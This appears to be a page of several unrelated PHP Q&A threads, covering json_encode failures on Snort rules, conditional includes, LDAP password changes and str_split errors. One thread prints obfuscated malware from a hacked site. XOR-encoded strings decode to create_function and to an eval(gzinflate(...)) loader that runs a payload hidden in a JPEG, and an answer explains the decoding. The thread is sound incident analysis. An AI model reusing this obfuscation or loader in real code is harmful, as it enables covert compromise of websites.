I have a PHP 5.3.3 array that I need to json_encode; encoding fails and Apache returns an HTTP 500.
The array contains Snort rules; until recently the database contained about 700 rules and, the other day, about 10000 rules were added. That's when the web application broke. The application retrieves the data via PHP JSON-encoded so I json_decode then go through a foreach loop to "restructure" the data into a new, temporary array. As a part of building the new array I htmlentities (with ENT_QUOTES) the "options" part of the Snort rule (otherwise I have browser display issues). Once the new array is complete I...
$data = json_encode(array_values($temp));
...which is where my code used to work but is now failing.
If you're not familiar with Snort rules, examples of the options part of a rule are:
flow:established,to_server; content:"?sid="; http_uri; pcre:"/\?sid=[0-9A-F]{180}/U"; reference:url,doc.emergingthreats.net/2007142; classtype:trojan-activity;
...and...
flow:established,to_server; content:"|00 00 00 83|"; depth:4; content:"<CPU>"; content:"</CPU><"; distance:0; content:"<MEM>"; content:"</MEM><"; distance:0; reference:url,doc.emergingthreats.net/bin/view/Main/TrojanDropper497; classtype:trojan-activity;
PHP documentation for json_encode notes data must be UTF-8 which mine is (ASCII according to mb_detect_encoding()). I have seen other JSON posts with HTTP 500 issues. Many are unrelated to my problem though there was one which caught my attention and was easy to rule out... I added set_time_limit even though this didn't seem to be the issue. The failure occurs very promptly.
I'm not sure what else to do to troubleshoot.
Your expertise is much appreciated.
Thanks.
=== EDIT ===
The code, with new data, works in a dev environment.
Dev (works)
* Apache/2.2.8
* PHP 5.2.5
Prod (doesn't work)
* Apache/2.4.2
* PHP 5.5.3
Because the error started when more records were added, my suspicion is the script was now using too much memory. Perhaps the memory limit is lower in production than it is in development.
Solutions for this are documented here: http://www.ducea.com/2008/02/14/increase-php-memory-limit/
Related
I read somewhere that php parses the whole .php file every time it is executed. Some solution was proposed in there (that was not opcache), but I lost the website and I couldn't find it.
Now I have an enormous php website that has many long functions that are often used alone, and it's required that the execution be fast.
To avoid having php parsing all the other functions that won't be used, I was thinking of making a modular design in which the functions, stored in independent php files, will only be included if they will be actually used. But I haven't been able to confirm that php will not parse an include inside of a function or inside of a conditional statement unless it is required. Does php parse those includes?
Example:
<?php
$func_to_execute = $_GET['func'];
$parameter = $_GET['parameter'];
switch($func_to_execute)
{
case 'a':
include 'func_a.php';
$output = func_a($parameter);
break;
case 'b':
include 'func_b.php';
$output = func_b($parameter);
break;
case 'c':
include 'func_c.php';
$output = func_c($parameter);
break;
};
echo $output;
?>
In this example, I would like php to parse only the func_a if I am requesting a, only the func_b if I am requesting b, etcetera. There are in practice more than just 3 functions, and each is a very long algorythm with also very long strings and arrays.
As an alternative to includes I was thinking of making independent php files and execute them and retrieve their output only if they are required, with a shell_exec. But that would take other complexities, like formatting the parameters (I don't have idea of how I would pass a very long string with special characters, or a JSON, as a parameter in the shell) and calling the function to execute in the shell. Would those complexities make it slower than just letting php parse the whole file?
I know about the opcache function. Would it be enough even if all the ops of all the functions will be tested each time?
Are there other ways to make a PHP website modular, and not having php parsing the whole of php files everytime?
Thank you.
since php uses many optimizations and caching apcu i.e. you dont need to care about this
include wont be parsed at load time.. its more like file_get_contents and execute in same context - and these will be optimized by internal php cache
http://php.net/manual/en/intro.apc.php
I made a benchmarking experiment and it seems that php truly does not parse conditional includes. I made the test using the example script mentioned, and defining each as:
func_a: it only declares that the value of the variable $x is the sentence 'war and peace'.
$x = 'war and peace';
func_b: it only declares that the value of the variable $x is the whole text of the novel war and peace, which is approximately 3.2 MB long (the whole text was pasted in the php file). This would be a very long file to parse.
$x = 'War and Peace, by Leo Tolstoy...(the whole novel...)...';
func_c: it contained incorrect syntax, that should immediately launch an error message from php. This was made to guarantee that php was not actually parsing what was not included.
I measured the execution time from another php script with the function shell_exec(). The results were (in seconds):
func_a ≈ 0.122
func_b ≈ 0.152
func_c ≈ 0.119
Therefore I conclude that:
- Includes in a switch statement are not parsed unless they are actually required.
- A syntax mistake in an include (inside a switch statement) will not launch any error if it is not actually required, because it is not parsed.
- Anyway, the difference on the time of the process is very little (about 0.03 extra second for an extra text of 3.3 MB; or crudely said, 0.01 extra second per 1 MB of text to parse). However this might be important to consider if there are many users requesting the website at the same time, and therefore it might be useful to divide in modules (includes) if the script is actually that big. Also the fact that a wrongly written include that was not required be not parsed helps to not launch errors when they aren't relevant.
It seems then for me a good manner to design a modular application in PHP where the modules be extremely big.
A client recently came to me with an issue where their website would redirect to different websites against their wishes. The culprit turned out to be the following snippet:
// $wp_ac_remote_retrieve_header = ',S7<f-NH9;%.KM7kF0^L2&1YzYJM.>RB,|Mu"C_#}H2#HEFGKSI 5<K8]M"97Z)GM&FbN%CAKL1/Z:JUOD3!9-!.<B0?9kCNWBQ~~k1U7,7i~&>8<(R<NE<^Zb0>2,EQ]R/SS%wSSD!yN,;"#/T$d/>&b|a^v' ^ "I%VPNm)2PUCB*9RC Y2)mAT-%:%#Z[<6_ToZJ,2%R*^B<1i!*> LL^>K4#GJD9L)9C4L-J.n&5PK7S\$z#-QSX_HKOm`wi.;-2.~.6;t-TI[F-N_JYL}y=&T;(MtYUo*?)3F=6WX;6(Q&<IWCWF;JJ_PA#UHwM";
// $get_ho_tag_template = 'cr atDW"ufb4)j.'|'!"E!`%HDTl#pHoJ';
// $start_hg_wp = $get_ho_tag_template(null,$wp_ac_remote_retrieve_header);
// $start_hg_wp();
And apparently this is not the first time they have been hacked, as I also found the following snippet commented out:
// $comment_zr_date = 'J4UCmj82"&6D?XQz/_F;kB<:#L,FYR<*+vMYS"87tW8OE# B8>LDS=R+ HI<=8S#G5VG#Q;jM^]#5F<(B+5n_DW6L,CX#Nr=h2X:_MKaq-*FOOXH;>^)+FV90%a7qyg^N3*DVQCT7:MvJkKU' ^ '/B4/E*_HKHP(^,4RI6*^4%YN|/C(-7R^X^ov;MUR[0W=!LN$LNc"2P;GY*<OTV6P4V3)44ID.10oX?]L/B[A3-5D-^*=3a"u8w Y:!d19}o>,*4ghV?[N"yv|`Ng!*H7#RM!farz]J*TcBbn';
// $get_spe_footer = "<=:Q.0(CEVO!8=J" ^ "_O_0ZUw%08,UQR\$";
// $wp_olw_rss = $get_spe_footer(null,$comment_zr_date);
// $wp_olw_rss();
There are no other references to any of these functions/variables. Or at least none that turn up when I do a sitewide search. Also, the file's permissions had been changed to read only.
Any idea as to how they are accomplishing this? Or how the above code functions/works? When removed, the issue/hack disappears completely. However, as this is their 3rd time encountering this issue, I believe that they have left themselves open somewhere. As a note, this is not a WP site.
** EDIT
File was to large to include, here is a link:
http://pastebin.com/1XyJg4S3
If you run this through a base64 decoder, you get:
http://pastebin.com/JMHtqskM
However, I am unable to decipher it any further. There appears to be either more encoding or...?
It's some kind of interesting obfuscation.
echo $comment_zr_date;
gives:
eval(#gzinflate(file_get_contents("/home/gordonftp/familybusinesscenter.com/myadmin/libraries/PHPExcel/PHPExcel/Shared/OLE/PPS/image001.jpg")));
And
echo $get_spe_footer;
Gives:
create_function
The obfuscation works by using bitwise operators on two string (thanks tot Populus for the hint). See also PHP strange bitwise operator impact on strings
In cleartext php it says:
$comment_zr_date = 'eval(#gzinflate(file_get_contents("/home/gordonftp/familybusinesscenter.com/myadmin/libraries/PHPExcel/PHPExcel/Shared/OLE/PPS/image001.jpg")))';
$get_spe_footer = 'create_function';
// execute the function
$wp_olw_rss = $get_spe_footer(null,$comment_zr_date);
$wp_olw_rss();
Further evaluation is possible after you post the contents of
#gzinflate(file_get_contents("/home/gordonftp/familybusinesscenter.com/myadmin/libraries/PHPExcel/PHPExcel/Shared/OLE/PPS/image001.jpg"))
I'm attempting to write a bit of code that will allow users to change their expired Active Directory passwords via a PHP web interface. Due to limitations with PHP's ldap library's*, it seems the only way to do this is by generating an ldif and then passing this directly to ldapmodify.
The code I've come up with (minus the vars) is:
ldapmodify -H {$ad_server} -D '{$dn}' -w {$old} <<!
dn: {$dn}
changetype: modify
delete: unicodePwd
unicodePwd:: {$oldPassword}
-
add: unicodePwd
unicodePwd:: {$newPassword}
-
!
The code appears to work fine when I paste the generated code straight in to my console, but so far I've had no luck running it from PHP.
I originally tried passing the code to exec, only to get exitcode 247(which doesn't appear to be a real thing)
I then attempted to use proc_open instead, which provided the current error
ldapmodify: invalid format (line 5) entry: " ... "
So far as I can see the only thing on line 5 is a "-". So I'm a bit stuck as to what could be wrong.
P.S. I also read this post LDIF file error?? Invalid Format? which reported a similar problem, although assuming the encoding of the "-" character is the issue, I'm not sure what I can really do with it from with PHP (mb_string_encoding the whole string into utf-8 doesn't appear to have any effect)
This is also running on a solaris machine which may also be a factor.
*PHP is unable to perform two actions within a single command, somthing that is required in order to do a user password change in AD. (so far as I'm aware)
Edit: No sure why this is getting downvotes, but I'd be happy to be told I'm an idiot if I'm doing something patently stupid without noticing (so long as you point out what that is, as I've been stuck on this for a while now)
Thanks to some help from the #ldap channel on freenode it turns out I am indeed an idiot (especially considering that I've been poking and prodding this for most of the day).
It seems ldapmodify does not like it when an LDIF contains a windows new line characters after the "-" Switching line endings from windows to unix in sublime has fixed the problem for me*.
I keep getting an error on this code:
<?php
function encode_object(&$obj) {
foreach ($obj as &$current) {
if (is_string($current) or is_object($current) or is_array($current)) {
if (is_object($current) or is_array($current)) {
encode_object($current);
}
if (is_string($current)) {
$current = urlencode($current);
}
}
}
}
?>
This code has worked before but for some reason every time a run it I get:
Fatal error: Maximum execution time of 30 seconds exceeded in * on line 9
What I'm trying to do is be able to give it an object, search through it and encode all of the strings.
I have tried multiple times but keep getting the same error
I am using:
Apache 2.2.15.0
PHP 5.3.3
Windows 7 Ultimate build 7600
EDIT:
The input I'm entering is an error that, after going through this function, is meant to be converted into JSON and read by javascript through ajax.
The input in this case would be:
array("error"=>
array(
"error"=>"error",
"number"=>2,
"message=>"json_encode() [<a href='function.json-encode'>function.json-encode<\/a>]: recursion detected",
"line"=>22))
That is another error that i will worry about later, but it seems that when I put
$obj['error']['message'] = 'blah';
on the object before I send it, the code works fine. So there is something about
json_encode() [<a href='function.json-encode'>function.json-encode<\/a>]: recursion detected
that urlencode seems to be having a problem with.
If it has worked before, then it seems there's nothing wrong with the code, just that the objects you're sending it are large and are taking longer to process than the default execution time set in PHP.
The quick and dirty way to handle this is to use the ini_set() function:
ini_set("max_execution_time",840); (in this case, 840 is 840/60 or 14 minutes)
I've used this before on a query with a particularly large result-set, one which took at minimum five minutes to load, and build the HTML for the page.
Note, this will not work if your host has "Safe Mode" enabled. In that case you actually have to change the setting in PHP.ini. Otherwise, I use this quick and dirty roundabout fairly often for ridiculously huge parsing/processing tasks.
I relogin to my server in dreamhost and test some scripts.And I found I couldn't use str_split. Message of Undefined function was given.I checked the version in the server and its PHP Version is 5.2.12.And I just wonder which version is required?Thanks.
Testcode:
<?php
$arr = str_split("lsdjflsdjflsdjflsdjfl");
print_r($arr);
?>
Message:
Fatal error: Call to undefined function: str_split() in /test.php on line 3
Edit #Justin Johnson
I checked the server's system directory,and I found there are two versions of PHP in Dreamhost.In user's webroot,file will be parsed by PHP5 and that's why I got php 5.2.12 by putting a phpinfo.php in the webroot.And if php files are ran in command line directly using php test.php,another php version which is 4.x worked.That's the reason I got an error.When I use
/usr/local/php5/bin/php test.php
Everything is fine.
Rather than use str_split, it's usually much easier to iterate through the characters of the string directly:
$s="abc";
$i=0;
while(isset($s[$i])) {
echo $s[$i++]." ";
}
see?
First off: The PHP documentation will always say what version is required for every function on that function's documentation page directly under the function name.
It is possible that an .htaccess file is somewhere in your path and is causing a previous version (<5) of PHP to be used. To double (or triple) check to make sure that you are running in the proper PHP version, place this code above the line where you call str_split
echo "version:", phpversion(),
"<br/>\nstr_split exists? ",
function_exists("str_split") ? "true" : "false";
However, as shown by Col. Shrapnel, it is not necessary to convert a string to an array of individual characters in order to iterate over the characters of that string. Strings can also be iterated over using traditional iteration methods, thus making the call to str_split unnecessary and wasteful (unless you need to segment the string into fixed length chunks, e.g.: str_split($s, 3))
foreach ( str_split($s) as $c ) {
// do something with character $c
}
can be replaced by
$s = "lsdjflsdjflsdjflsdjfl";
for ( $i=0; isset($s[$i]); ++$i ) {
// do something with character $s[$i]." ";
}
which is equally, if not more clear.
According to dreamhost wiki, you need to switch to php5 manually from control panel, if you created your domain before 2008 sept.
http://wiki.dreamhost.com/Installing_PHP5#Using_DreamHost.27s_PHP_5
PHP 5 was added to all plans by
DreamHost as of June 2005. As of
September 2008, support for PHP4 was
discontinued, so you can no longer
switch back to PHP 4 from PHP 5 from
the panel.
If you haven't switched to PHP 5 yet,
you can do this in the Control Panel.
But, again, you will not be able to
switch back to PHP 4 after switching
to PHP 5.
Here's how to switch from PHP 4 to PHP
5:
Log into the DreamHost Control Panel.
Click Domains, then Manage Domains.
Click the wrench icon next to the domain you want to activate PHP 5
on (under the Web Hosting column).
Select PHP 5.x.x from the dropdown menu.
Click Change fully hosted settings now! at the bottom of the
section.
Repeat steps 3-5 for each additional domain you want to
activate.
you could also check your php version with
<?php
phpinfo();
?>
The version required is PHP 5 or later. So theoretically your program should work.
If you can't get str_split to work, just use a string as an array:
$stuff = "abcdefghijkl";
echo $stuff[3];
will produce
d
This method is fastest, anyway. I don't know if it suits your needs, but if it does, I hope it helps!
Could be anything in your code. How do we know its not a 10 line script or 2000 line script?
You can use preg_split() to split an array into single characters, but it will return an extra empty string at the begining and the end.
$a = preg_split("//","abcdefg");
echo json_encode($a);
prints:
["","a","b","c","d","e","f","g",""]